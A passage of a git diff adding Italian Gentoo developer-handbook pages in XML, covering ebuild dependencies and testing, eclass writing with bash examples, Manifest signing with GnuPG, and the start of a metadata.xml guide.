+    specifiche come libgnome.
+  </li>
+  <li>
+    <e>Una dipendenza per riga.</e><br /> Non mettere dipendenze multiple su
+    una stessa riga. Risultano difficili da leggere e da seguire.
+  </li>
+  <li><e>GTK: Usare sempre =x11-libs/gtk+-1.2* per applicazioni GTK+1.</e></li>
+</ul>
+
+<p>
+Inoltre è importante assicurarsi di includere tutte le dipendenze necessarie
+per il proprio pacchetto:
+</p>
+
+<ul>
+  <li>
+    <e>Controllare le librerie e binari installati</e><br />
+    Usare uno strumento come scanelf -n per elencare le voci DT_NEEDED.
+  </li>
+  <li>
+    <e>Guardare in configure.in o configure.ac</e><br /> Controllare qui le
+    eventuali verifiche dei pacchetti. Le cose da guardare sono i controlli
+    di pkg-config o le funzioni AM_* che controllano una specifica versione.
+  </li>
+  <li>
+    <e>Guardare i file .spec</e><br /> Una buona indicazione è guardare nei file
+    .spec inclusi per le relative dipendenze. Tuttavia non farvi completamente
+    affidamento, in quanto non è detto contengano l'elenco completo e definitivo
+    delle dipendenze.
+  </li>
+  <li>
+    <e>Guardare il sito web dell'applicazione/libreria</e><br />Controllare il
+    sito web dell'applicazione per possibili dipendenze elencate come
+    necessarie.
+  </li>
+  <li>
+    <e>Leggere gli eventuali file README e INSTALL del pacchetto</e><br /> Di
+    solito contengono utili informazioni sulla compilazione e installazione dei
+    pacchetti.
+  </li>
+  <li>
+    <e>Ricordarsi le dipendenze non binarie come pkg-config, programmi per la
+    generazione dei documenti, ecc.</e><br /> Solitamente il processo di
+    compilazione richiede dipendenze come intltool, libtool, pkg-config,
+    doxygen, scrollkeeper, gtk-doc, etc. Assicurarsi vengano chiaramente
+    specificate.
+  </li>
+</ul>
+
+<p>
+Per tutti i dettagli più recenti sui DEPEND Atoms, vedere la sezione 5 della
+pagina man sugli ebuild: <c>man 5 ebuild</c>.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Testare e distribuire</title>
+<subsection>
+<title>ChangeLog</title>
+<body>
+
+<p>
+Ogni volta che si aggiorna (o si scrive un nuovo) ebuild bisogna sempre
+aggiornare il suo ChangeLog.  Il file <path>skel.ChangeLog</path> contiene un
+semplice ChangeLog da usare come base.
+</p>
+
+<p>
+Lo scopo del ChangeLog è documentare <e>cosa</e> è stato fatto, <e>perché</e> è
+stato fatto e da <e>chi</e>. Questo permette a sviluppatori e utenti di
+tracciare i cambiamenti in maniera semplice.
+</p>
+
+<p>
+Il Changelog è fondamentalmente destinato agli utenti, per cui assicurarsi di
+mantenerne i contenuti concisi e puntuali, evitando di essere troppo prolissi
+nei dettagli tecnici.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Memorizzare localmente i propri ebuild</title>
+<body>
+
+<p>
+Per poter testare i propri ebuild e far sì che siano visibili da Portage,
+bisogna posizionarli in una directory conosciuta. Portage userà la variabile
+<c>PORTDIR_OVERLAY</c>, definibile in <path>/etc/make.conf</path>. Impostare
+questa variabile alla propria directory (per esempio
+<path>/usr/local/portage</path>).
+</p>
+
+<p>
+In questa directory, si deve usare la stessa struttura (e le stesse categorie)
+di <path>/usr/portage</path>.
+</p>
+
+<p>
+Usando <c>PORTDIR_OVERLAY</c>, i propri ebuild rimangono nel sistema, anche dopo
+un <c>emerge --sync</c>, e rimangono visibili da Portage.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Testare i pacchetti</title>
+<body>
+
+<p>
+Considerare le modalità di verifica con le quali accertarsi che il pacchetto
+funzioni. A volte gli sviluppatori includono una routine <c>make test</c> o
+<c>make check</c> che verificherà le funzionalità di base del pacchetto. Se ciò
+è vero, eseguire <c>env FEATURES=test ebuild <path>foo-x.y.z.ebuild</path>
+test</c>. Se il pacchetto risulta malfunzionante cercare di correggerlo in modo
+da farlo funzionare (e proporre la patch ai sviluppatori originali).
+</p>
+
+<p>
+Se questo non è il caso considerare l'aggiunta di una routine <c>src_test</c> al
+proprio ebuild. Essa viene eseguita prima della routine <c>src_install</c> e può
+essere molto utile per testare il funzionamento del programma nelle varie
+architetture. Gli sviluppatori delle architetture apprezzeranno  l'aggiunta
+di una routine di questo tipo, in quanto non sarà necessaria da parte loro la
+conoscenza della funzionalità del pacchetto.
+</p>
+
+<p>
+Tenere a mente i requisiti generali di un ebuild in questo caso. La routine
+<c>src_test</c> non deve essere interattiva. Se il test routine dipende da altri
+pacchetti usare la flag USE <c>test</c> per specificare le dipendenze
+<c>DEPEND</c> per la compilazione. Inoltre le routine <c>src_test</c> non sono
+raccomandate per applicazioni grafiche X poiché l'utente che esegue portage
+spesso non può eseguirle con successo.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Strumenti utili per i test</title>
+<body>
+
+<p>
+Sono disponibili degli utili strumenti per aiutare nella scrittura e
+manutenzione degli ebuild.
+</p>
+
+<table>
+<tr>
+  <th>Strumento</th>
+  <th>Pacchetto</th>
+  <th>Descrizione</th>
+</tr>
+<tr>
+  <ti><c>repoman</c></ti>
+  <ti>sys-apps/portage</ti>
+  <ti>
+    Strumento riservato agli sviluppatori che aiuta nella procedura di checkin
+    al CVS. Esegue molti degli usuali controlli di qualità (QA)  e cerca di
+    assicurare che i file aggiunti al cvs non pregiudichino il funzionamento del
+    portage tree.
+  </ti>
+</tr>
+<tr>
+  <ti><c>ccache</c></ti>
+  <ti>dev-util/ccache</ti>
+  <ti>
+    Strumento che mantiene i file pre-processati in modo che la ricompilazione
+    venga eseguita <e>molto</e> più velocemente. Assicurarsi di aggiungere
+    <c>ccache</c> alla variabile <c>FEATURES</c> in <path>/etc/make.conf</path>
+  </ti>
+</tr>
+<tr>
+  <ti><c>sandboxshell</c></ti>
+  <ti>app-shells/sandboxshell</ti>
+  <ti>
+    Lancia una shell che crea un ambiente sandbox. Utile per entrare all'interno
+    dello stesso ambiente in cui portage compila i pacchetti ed effettuare il
+    debug manualmente.
+  </ti>
+</tr>
+<tr>
+  <ti><c>echangelog</c></ti>
+  <ti>app-portage/gentoolkit-dev</ti>
+  <ti>
+    Può creare un nuovo Changelog o aggiungere una voce in uno già esistente.
+  </ti>
+</tr>
+</table>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/devrel/handbook/hb-guide-eclass.xml b/xml/htdocs/proj/it/devrel/handbook/hb-guide-eclass.xml
new file mode 100644
index 00000000..29bf8a93
--- /dev/null
+++ b/xml/htdocs/proj/it/devrel/handbook/hb-guide-eclass.xml
@@ -0,0 +1,481 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/devrel/handbook/hb-guide-eclass.xml,v 1.7 2010/08/26 14:40:37 scen Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- This document was last synched to:
+cvs://gentoo/gentoo/xml/htdocs/doc/en/eclass-howto.xml :: R1.17.  -->
+
+<sections>
+<version>1.0.3</version>
+<date>2010-07-13</date>
+
+<section>
+<title>Introduzione alle eclass</title>
+<subsection>
+<title>L'idea che sta dietro le eclass</title>
+<body>
+
+<p>
+Le eclass sono moduli di codice condiviso. Sono scritte in bash, hanno la stessa
+sintassi dei normali ebuild e vengono derivate ('ereditate') dagli ebuild e
+altre eclass, in modo da fornire impostazioni e funzionalità predefinite
+attraverso molti ebuild simili tra loro.
+</p>
+
+<p>
+Questo serve per assicurare il massimo riutilizzo del codice tra ebuild simili.
+</p>
+
+<p>
+Questo capitolo mostra brevemente come scrivere una eclass incorporando i
+trucchi standard e le tecniche usate nelle eclass esistenti.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Esempio di una semplice eclass</title>
+<body>
+
+<p>
+Questa è una eclass fittizia sourceforge.eclass, progettata per fornire
+l'homepage e l'ubicazione dei download per i progetti presenti su
+sourceforge.net:
+</p>
+
+<pre caption="Esempio: sourceforge.eclass">
+# Copyright 2009 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License, v2 or later
+# Author Dan Armak
+# &lt;danarmak@gentoo.org&gt; &#36;Header: &#36;
+
+# questa eclass imposta ${HOMEPAGE} e ${SRC_URI} ai valori standard per
+# sourceforge.net - progetti ospitati.
+
+HOMEPAGE="http://${PN}.sourceforge.net/"
+SRC_URI="http://download.sourceforge.net/${PN}/${P}.tar.gz"
+</pre>
+
+<p>
+Le prime quattro linee sono intestazioni (headers) proprio come quelle presenti
+in ogni ebuild. Le seguenti due linee sono una breve descrizione dell'eclass. Il
+resto del codice fa il lavoro effettivo - impostando SRC_URI e HOMEPAGE.
+</p>
+
+<p>
+la maggior parte delle eclass va oltre l'impostare variabili e fornire funzioni
+d'aiuto; esse contengono delle versioni predefinite di funzioni speciali degli
+ebuild (src_unpack, src_compile e così via). Prima di scrivere una funzione
+predefinita in una eclass, bisogna essere a conoscenza delle funzioni
+predefinite già contenute in ebuild.sh, che saranno quelle che verranno eseguite
+se non viene messa alcuna funzione nel proprio ebuild (non sempre tramite una
+eclass); è usata spesso la predefinita src_unpack(). Se non è ancora fatto,
+guardare le implementazioni predefinite in ebuild.sh.
+</p>
+
+<p>
+Questo è tutto quello che serve sapere per scrivere delle eclass. Posizionare la
+propria nuova eclass in <path>${PORTDIR}/eclass/</path>, e inserire questa linea
+all'inizio del proprio ebuild:
+</p>
+
+<pre caption="Come ereditare le eclass">
+inherit sourceforge
+</pre>
+
+<p>
+A questo punto il contenuto delle eclass verrà derivato. Ricordarsi che tutte le
+variabili o funzioni definite nella eclass possono essere sovrascritte
+nell'ebuild, il cui codice viene eseguito dopo qualsiasi eclass. Pertanto,
+bisogna cercare di mettere nelle proprie eclass il maggior numero possibile di
+impostazioni predefinite e codice comune. Qualsiasi impostazione non standard o
+modifica può quindi essere messa negli ebuild.
+</p>
+
+<p>
+Si possono ereditare più eclass contemporaneamente tramite la sintassi:
+</p>
+
+<pre caption="Ereditare eclass multiple">
+inherit eclass1 eclass2 [...]
+</pre>
+
+<p>
+...ma guardare bene il loro ordine! Ricordarsi che le eclass possono ereditarsi
+una dall'altra e sovrascriversi a vicenda le relative impostazione, per questo
+bisogna fare molta attenzione quando si ha a che fare con eclass multiple, le
+quali potrebbero influenzarsi l'una con l'altra.
+</p>
+
+<p>
+Ora verranno spiegati tutti i trucchi nella scrittura delle eclass, prima di
+passare alle attuali eclass in portage.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>inherit()</title>
+<body>
+
+<p>
+Questa funzione risiede in ebuild.sh e gestisce l'ereditarietà (derivazione)
+delle eclass. Viene invocata con una lista di nomi di eclass da ereditare:
+inherit &lt;eclass1&gt; [eclass2 eclass3...].
+</p>
+
+<p>
+Oltre all'effettiva derivazione dei file delle eclass, questa funziona imposta
+le variabili ECLASS e INHERITED che vengono usate da portage per memorizzare i
+gli orari (timestamp) di modifica delle eclass. La variabile INHERITED potrebbe
+essere d'aiuto nella scrittura delle eclass: essa contiene una lista di tutte le
+eclass ereditate (derivate) fino a quel punto, in ordine. In questo modo una
+eclass può usare questa variabile per determinare se essa stessa viene chiamata
+o meno da un'altra eclass.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>EXPORT_FUNCTIONS</title>
+<body>
+
+<p>
+Delle buone funzioni predefinite di un'eclass possono essere spesso usate così
+come sono; in questo modo l'ebuild conterrà pochissimo codice (che è una buona
+cosa). Qualche volta, ciononostante, l'eclass non fa esattamente quello di cui
+si ha bisogno. In questo caso si può scrivere una nuova funzione nel proprio
+ebuild, sovrascrivendo la funzione definita nell'eclass. tuttavia questo
+minimizzerà i benefici del riutilizzo del codice. Per cui si proverà ad
+'estendere' la funzione dell'eclass.
+</p>
+
+<p>
+Si supponga di voler estendere src_compile(). Si può scrivere una definizione
+per src_compile() nel proprio ebuild, che includerà solo le parti mancanti della
+funzione src_compile() presente nell'eclass. A questo punto si invocherà la
+funzione src_compile() dell'eclass dall'interno del codice della propria
+funzione personalizzata.
+</p>
+
+<p>
+Tuttavia, se si crea una nuova funzione chiamata src_compile(), bash si
+dimenticherà quella vecchia e non sarà più capace di chiamarla! Qui entra in
+gioco la macro EXPORT_FUNCTIONS.
+</p>
+
+<p>
+Ora verrà analizzato momentaneamente un altro problema. Si supponga che entrambe
+le eclass foo.eclass e bar.eclass definiscano src_compile(). Ereditando sia foo
+che bar si otterrà una diversa funzione src_compile() in base all'ordine in cui
+esse vengono ereditate. Questo è normale, in quanto si suppone di tener conto
+dell'ordine dell'ereditarietà. Ma si potrebbe voler invocare entrambe le
+dichiarazioni di src_compile() esplicitamente.
+</p>
+
+<p>
+Così, ogni eclass aggiunge un prefisso alle funzioni che definisce . Per
+esempio, foo.eclass definirà una funzione chiamata foo_src_compile(), e
+rispettivamente bar.eclass definirà bar-src_compile(). In questo modo, l'ebuild
+può chiamare entrambe le funzioni sapendo cosa otterrà.
+</p>
+
+<p>
+Tuttavia, si può voler disporre di una qualche funzione predefinita chiamata
+semplicemente src_compile(), altrimenti l'ebuild dovrà definirne una. La macro
+EXPORT_FUCTIONS risolve sia questo problema che quello presentato prima.
+</p>
+
+<pre caption="EXPORT_FUNCTIONS() (da ebuild.sh)">
+EXPORT_FUNCTIONS() {
+    while [ "$1" ]; do
+        eval "$1() { ${ECLASS}_$1 ; }" &gt; /dev/null
+        shift
+    done
+}
+</pre>
+
+<p>
+La funzione inherit() imposta ${ECLASS} con il nome dell'eclass prima di
+derivarla. Alla fine l'eclass chiama EXPORT_FUNCTIONS(), passando come parametri
+la lista delle funzioni predefinite che fornisce. Per esempio, se si chiama
+</p>
+
+<pre caption="Esempio di chiamata a EXPORT_FUNCTIONS">
+EXPORT_FUNCTIONS src_compile src_install
+</pre>
+
+<p>
+allora EXPORT_FUNCTIONS chiamerà eval() sulla seguente stringa:
+</p>
+
+<pre caption="Risultato di EXPORT_FUNCTIONS">
+src_compile() { foo_src_compile ; }
+src_install() { foo_src_install ; }
+</pre>
+
+<p>
+Ora, qualsivoglia eclass venga ereditato per ultimo, definirà la funzione
+predefinita src_compile(), ma, se necessario, entrambe le funzioni potranno
+essere chiamate direttamente dall'ebuild.
+</p>
+
+<p>
+È possibile anche estendere la funzione predefinita src_compile() chiamando la
+funzione dell'eclass dall'interno della propria funzione. In questo modo si
+dovrà usare il nome completo della funzione predefinita foo_src_compile. Un
+esempio:
+</p>
+
+<pre caption="Estendere le funzioni predefinite dell'eclass nel proprio build">
+#in foo.eclass:
+foo_src_compile() {
+        [qui codice predefinito]
+}
+
+EXPORT_FUNCTIONS src_compile
+
+#fine codice eclass
+
+#in un ebuild:
+
+inherit foo
+
+src_compile() {
+        [qui codice personalizzato]
+        foo_src_compile
+        [altro codice personalizzato]
+}
+</pre>
+
+</body>
+</subsection>
+<subsection>
+<title>Sezioni delle funzioni</title>
+<body>
+
+<p>
+A volte, estendere le funzioni predefinite eseguendo il codice prima e dopo non
+è abbastanza flessibile. Quando  si ha a che fare con funzioni lunghe e
+complesse, spesso ci sarà la necessità di voler eseguire il proprio codice
+personalizzato all'interno di queste funzioni.
+</p>
+
+<p>
+Le sezioni delle funzioni provvedono a fornire una maggiore flessibilità,
+richiesta in questo caso. Esse suddividono le funzioni in sezioni e permettono
+di eseguire il codice tra due sezioni qualsiasi.
+</p>
+
+<p>
+L'implementazione è semplice. Viene presa come esempio la funzione src_compile()
+da base.eclass. (Nota: non esiste più, ma è un buon esempio :-) Essa è fatta
+così:
+</p>
+
+<pre caption="Esempio da base.eclass di origine">
+base_src_compile() {
+    econf || die
+    emake || die
+}
+</pre>
+
+<p>
+Qui c'è la stessa funzione, divisa in sezioni:
+</p>
+
+<pre caption="La stessa funzione divisa in sezioni.">
+base_src_compile() {
+
+    [ -z "$1" ] &amp;&amp; base_src_compile all
+
+    while [ "$1" ]; do
+        case $1 in
+            configure)
+                econf || die;;
+            make)
+                emake || die;;
+            all)
+                base_src_compile configure make;;
+        esac
+    shift
+    done
+
+}
+</pre>
+
+<p>
+Il codice è stato suddiviso in due sezioni: <c>configure</c> e <c>make</c>.
+In questo semplice esempio, esse corrispondono ai due comandi presenti nella
+funzione originale.
+</p>
+
+<p>
+Nel centro della nuova funzione c'è un blocco while;case...esac;shift;done.
+Questo blocco esegue un controllo di corrispondenza dei parametri della funzione
+con i nomi di sezioni definiti ed esegue le corrispondenti linee di codice.
+</p>
+
+<p>
+Il caso speciale <c>all</c> chiama la stessa funzione ricorsivamente con una
+lista ordinata di sezioni. È compito dello sviluppatore mantenere questa lista.
+</p>
+
+<p>
+La prima linea del blocco dice che una chiamata senza parametri dovrà essere
+trattata come una chiamata con il singolo parametro <c>all</c>. Come si può
+notare, questa funzione è molto ricorsiva.  Notare, però, che anche la chiamata
+<c>base_src_compile configure all make</c> è legale; essa eseguirà
+<c>base_src_compile configure configure make make</c>.
+</p>
+
+<p>
+A questo punto nel proprio ebuild (o eclass) che eredita da base.eclass, si avrà
+la funzione fittizia src_compile, la quale chiamerà base_src_compile senza
+parametri. Questo fa eseguire base_src_compile <e>all</e>, che significa
+eseguire ogni sezione. Si può lasciarla così com'è. Se si vuole estenderla, è
+possibile definire una nuova funzione src_compile e chiamare base_src_compile
+una sezione alla volta:
+</p>
+
+<pre caption="Usare la funzione src_compile() sezionata">
+src_compile() {
+    esegui_mio_codice1
+    base_src_compile configure
+    esegui_mio_codice2
+    base_src_compile make
+    esegui_mio_codice3
+}
+</pre>
+
+<p>
+Come si può vedere, le sezioni aggiungono flessibilità in quanto ora è possibile
+inserire codice tra le due sezioni, come anche poterle eseguire in un ordine
+diverso oppure eseguire solo alcune delle sezioni fornite. Questo permette un
+maggiore riutilizzo complessivo del codice.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Le funzioni debug-print-*</title>
+<body>
+
+<p>
+Ci sono molte altre funzioni fornite da ebuild.sh. Esse aggiungono alle eclass
+un output prolisso in fase di debug, per permettere di seguire più facilmente la
+loro esecuzione senza dover leggere i lunghi messaggi forniti dal metodo di
+debug di bash. Tutte le eclass dell'autore di questa guida usano molto spesso
+queste funzioni.
+</p>
+
+<p>
+debug-print() stampa semplicemente tutti i suoi parametri con il prefisso
+'debug:'. Viene chiamata ogni volta che c'è qualcosa di interessante da mettere
+nel log del debug.
+</p>
+
+<p>
+debug-print-function() stampa 'debug: entering function $1, parameters: $2
+[$3 ....]. Viene chiamata all'inizio di una funzione.
+</p>
+
+<p>
+debug-print-section() mostra 'debug: now in section $1'. Viene chiamata
+all'inizio di una sezione di funzione.
+</p>
+
+<p>
+L'output di debug, normalmente va in ${T}/eclass-debug.log. È possibile
+impostare la variabile d'ambiente ECLASS_DEBUG_OUTPUT (in make.globals/conf o
+nell'ambiente) e l'output sarà inviato pure lì. Si può anche impostarla con lo
+speciale valore 'on', in modo da mostrare l'output insieme a tutti gli altri
+messaggi di emerge.
+</p>
+
+<p>
+Ecco come aggiungere delle tipiche dichiarazioni di output di debug alla
+precedente funzione di esempio:
+</p>
+
+<pre caption="Aggiungere dichiarazioni di debug">
+base_src_compile() {
+
+    debug-print function
+    [ -z "$1" ] &amp;&amp; base_src_compile all
+
+    while [ "$1" ]; do
+        case $1 in
+            configure)
+                debug-print-section configure
+                ./configure || die;;
+            make)
+                debug-print-section make
+                make || die;;
+            all)
+                debug-print-section all
+                base_src_compile configure make;;
+        esac
+    shift
+    done
+
+    debug-print "${FUNCNAME}: il risultato è ${RESULT}"
+}
+</pre>
+
+<p>
+${FUNCNAME} è una varibile incorporata in bash che restituisce il nome corrente
+delle funzione.
+</p>
+
+</body>
+</subsection>
+<!-- <subsection>
+<title>newdepend()</title>
+<body>
+
+<p>This ebuild.sh function simply adds all its parameters to both DEPEND and
+RDEPEND, saving you the trouble of writing and maintaining two lists of
+dependencies.
+</p>
+
+<p>
+If called with a special parameter, it adds predefined dependencies. I don't
+think this is very elegant (anymore), I rather prefer explicit dependancies now;
+so you can consider this slightly deprecated ;-)
+</p>
+
+<p>
+These special parameters exist as of now:
+</p>
+<p>newdepend /autotools: add sys-devel/autoconf sys-devel/automake
+sys-devel/make to DEPEND (but not RDEPEND).
+</p>
+
+<p>
+newdepend /c: add virtual/glibc sys-devel/ld.so to both DEPEND and RDEPEND.
+Also, add sys-devel/gcc to DEPEND.
+</p>
+
+</body>
+</subsection> -->
+</section>
+<section>
+<title>Eclass esistenti</title>
+<subsection>
+ <title>eclass-manpages</title>
+<body>
+
+<p>
+È possibile effettuare l'emerge di app-portage/eclass-manpages per ottenere la
+documentazione delle eclass esistenti.
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/it/devrel/handbook/hb-guide-manifest-signing.xml b/xml/htdocs/proj/it/devrel/handbook/hb-guide-manifest-signing.xml
new file mode 100644
index 00000000..d55550cd
--- /dev/null
+++ b/xml/htdocs/proj/it/devrel/handbook/hb-guide-manifest-signing.xml
@@ -0,0 +1,75 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/devrel/handbook/hb-guide-manifest-signing.xml,v 1.4 2009/10/19 19:53:03 scen Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<sections>
+<version>1.1</version>
+<date>2009-10-16</date>
+
+<section>
+<title>Come firmare i Manifest?</title>
+<subsection>
+<body>
+
+<p>
+Requisiti:
+</p>
+
+<ul>
+  <li>&gt;=sys-apps/portage-2.0.51_pre10</li>
+  <li>&gt;=app-crypt/gnupg-1.2.4</li>
+</ul>
+
+<p>
+Impostazione della chiave:
+</p>
+
+<ul>
+  <li>
+    <uri
+    link="http://www.gentoo.org/doc/it/gnupg-user.xml#doc_chap2">Creare</uri>
+    una nuova chiave DSA GnuPG lunga almeno 1024 bit, una scadenza non superiore
+    a 6 mesi e una buona 'passphrase'
+  </li>
+  <li>
+    <uri
+    link="http://www.gentoo.org/doc/it/gnupg-user.xml#doc_chap3">Trasmettere</uri>
+    la chiave su un server delle chiavi.
+  </li>
+</ul>
+
+<p>
+Configurazione di portage:
+</p>
+
+<ul>
+  <li>
+    Impostare <path>PORTAGE_GPG_DIR</path> con la propria directory
+    <path>~/.gnupg/</path> (o la directory dove si trova il portachiavi
+    contenente la nuova chiave).
+  </li>
+  <li>
+    Impostare <path>PORTAGE_GPG_KEY</path> con l'ID (identificativo) della
+    propria nuova chiave.
+  </li>
+  <li>Impostare FEATURES="sign".</li>
+</ul>
+
+<p>
+A questo punto si dovrebbe riuscire a firmare i propri Manifest tramite i commit
+con repoman. Repoman chiederà la 'passphrase' prima di effettuare il commit del
+Manifest. Questo passaggio avverrà <e>dopo</e> l'esecuzione del commit di tutti
+gli altri file. Al momento repoman non controlla se il Manifest è già firmato,
+per questo altri potrebbero togliere la firma. La situazione cambierà quando
+firmare sarà obbligatorio.
+</p>
+
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/it/devrel/handbook/hb-guide-metadata.xml b/xml/htdocs/proj/it/devrel/handbook/hb-guide-metadata.xml
new file mode 100644
index 00000000..b5951fc5
--- /dev/null
+++ b/xml/htdocs/proj/it/devrel/handbook/hb-guide-metadata.xml
@@ -0,0 +1,469 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/it/devrel/handbook/hb-guide-metadata.xml,v 1.11 2009/11/08 16:56:27 scen Exp $ -->
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/2.5 -->
+
+<!-- This document was last synced to:
+     cvs://gentoo/gentoo/xml/htdocs/doc/en/metadata.xml :: R1.4.  -->
+
+<sections>
+<version>1.0.7</version>
+<date>2008-09-11</date>
+
+<section>
+<title>Perché c'è il bisogno di metadata.xml</title>
+<subsection>
+<body>
+
+<p>
+Il file <path>metadata.xml</path> ha lo scopo di fornire informazioni extra
+sulle ebuild. il file <c>metadata.xml</c> dovrebbe esistere nella directory di
+ogni pacchetto. Un file 'scheletro' può essere trovato come
+<c>skel.metadata.xml</c> nel portage tree.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Struttura di Metadata</title>
+<subsection>
+<body>
+
+<p>
+Un file <path>metadata.xml</path> può contenere un certo numero di tag:
+</p>
+
+<table>
+<tr>
+  <th>tag</th>
+  <th>descrizione</th>
+</tr>
+<tr>
+  <ti><brite>&lt;pkgmetadata&gt;</brite></ti>
+  <ti>
+    Questo è l'elemento principale del file <path>metadata.xml</path> per i
+    pacchetti. Non ha attributi. Il sottotag che richiede è:
+    <brite>&lt;herd&gt;</brite>. Inoltre sono consentiti i seguenti tag:
+    <brite>&lt;email&gt;</brite> per un'indirizzo email generico del gruppo,
+    <brite>&lt;maintainer&gt;</brite>, e
+    <brite>&lt;longdescription&gt;</brite>,<brite>&lt;use&gt;</brite>, e
+    <brite>&lt;upstream&gt;</brite>.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;catmetadata&gt;</brite></ti>
+  <ti>
+    Questo è l'elemento principale del file <path>metadata.xml</path> per le
+    categorie, in base a <uri link="/proj/en/glep/glep-0034.html">GLEP 34</uri>.
+    Non ha attributi, e contiene un certo numero di tag
+    <brite>&lt;longdescription&gt;</brite>, ognuno per ogni lingua differente.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;herd&gt;</brite></ti>
+  <ti>
+    Ci deve essere almeno un sottotag 'herd' (ndT 'gruppo', nel resto della
+    guida verrà utilizzata questo termine). Il contenuto di questo tag deve
+    corrispondere al nome di un gruppo così come specificato nel file <uri
+    link="http://sources.gentoo.org/viewcvs.py/*checkout*/gentoo/xml/htdocs/proj/en/metastructure/herds/herds.xml?content-type=text/plain&amp;rev=HEAD">herds.xml</uri>.
+    oppure all'herd "no-herd". Deve essere presente almeno una volta.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;maintainer&gt;</brite></ti>
+  <ti>
+    Oltre che far parte di un herd, un pacchetto può anche essere mantenuto
+    direttamente. I responsabili di un pacchetto devono essere specificati con
+    il tag <brite>&lt;maintainer&gt;</brite>. Questo tag richiede un sottotag:
+    <brite>&lt;email&gt;</brite>. Ha due sottotag opzionali:
+    <brite>&lt;name&gt;</brite>, e <brite>&lt;description&gt;</brite>.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;email&gt;</brite></ti>
+  <ti>
+    Contiene l'indirizzo e-mail del responsabile del pacchetto. E'
+    obbligatorio.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;name&gt;</brite></ti>
+  <ti>
+    Contiene del testo libero con il nome del responsabile del pacchetto. E'
+    opzionale.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;description&gt;</brite></ti>
+  <ti>
+    Questo tag contiene una descrizione dello stato del pacchetto, o per esempio
+    una nota indicante che se qualcuno è interessato può farsi carico del
+    mantenimento del pacchetto. E' opzionale.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;longdescription&gt;</brite></ti>
+  <ti>
+    Questo tag contiene una descrizione del pacchetto. Questo per aumentare il
+    campo DESCRIPTION nelle ebuild. Questo tag ha due sottotag opzionali:
+    <brite>&lt;pkg&gt;</brite> e <brite>&lt;cat&gt;</brite>.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;use&gt;</brite></ti>
+  <ti>
+    Questo tag contiene le descrizione delle <uri
+    link="/doc/it/handbook/handbook-x86.xml?part=2&amp;chap=2">flag USE</uri>.
+    Questo tag è opzionale e, se specificato, ha un sottotag richiesto:
+    <brite>&lt;flag&gt;</brite>.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;flag&gt;</brite></ti>
+  <ti>
+    Questo tag contiene una descrizione del modo in cui la flag USE menzionata
+    influenza questo pacchetto. È richiesta se il tag <brite>&lt;use&gt;</brite>
+    è specificato. Richiede inoltre che la flag USE sia nominata nell'attributo
+    <c>name</c>. Questo tag ha due tag opzionali: <brite>&lt;pkg&gt;</brite> e
+    <brite>&lt;cat&gt;</brite>.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;upstream&gt;</brite></ti>
+  <ti>
+    Questo tag contiene informazioni riguardo il progetto/sviluppatori di
+    origine ("upstream", NdT).
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;maintainer&gt;</brite></ti>
+  <ti>
+    Nome ed e-mail di un mantenitore "upstream". Tale tag può apparire più di
+    una volta.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;name&gt;</brite></ti>
+  <ti>
+    Il nome di un mantenitore "upstream" dovrebbe contenere un blocco di testo
+    con il nome dell'upstream.
+    Questo elemento è obbligatori per un mantenitore upstream e deve apparire
+    solo una volta.
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;email&gt;</brite></ti>
+  <ti>L'indirizzo email di un upstream dovrebbe apparire solo una volta.</ti>
+</tr>
+<tr>
+  <ti><brite>&lt;changelog&gt;</brite></ti>
+  <ti>
+    Dovrebbe contenere un URL dov'è possibile reperire il changelog originale
+    del pacchetto. L'URL deve essere indipendente dalla versione e deve puntare
+    ad un changelog che viene aggiornato solamente sui nuovi rilasci del
+    pacchetto corrispondente. (Ciò implica anche che uno può inserire un link ad
+    un changelog aggiornato automaticamente solo un caso di snapshot vcs.)
+  </ti>
+</tr>
+<tr>
+  <ti><brite>&lt;doc&gt;</brite></ti>
+  <ti>
+    Dovrebbe contenere un URL dov'è può essere trovata la locazione della
+    documentazione originale. Il link non deve puntare a nessuna documentazione
+    di terze parti e deve essere indipendente dalla versione. Se la
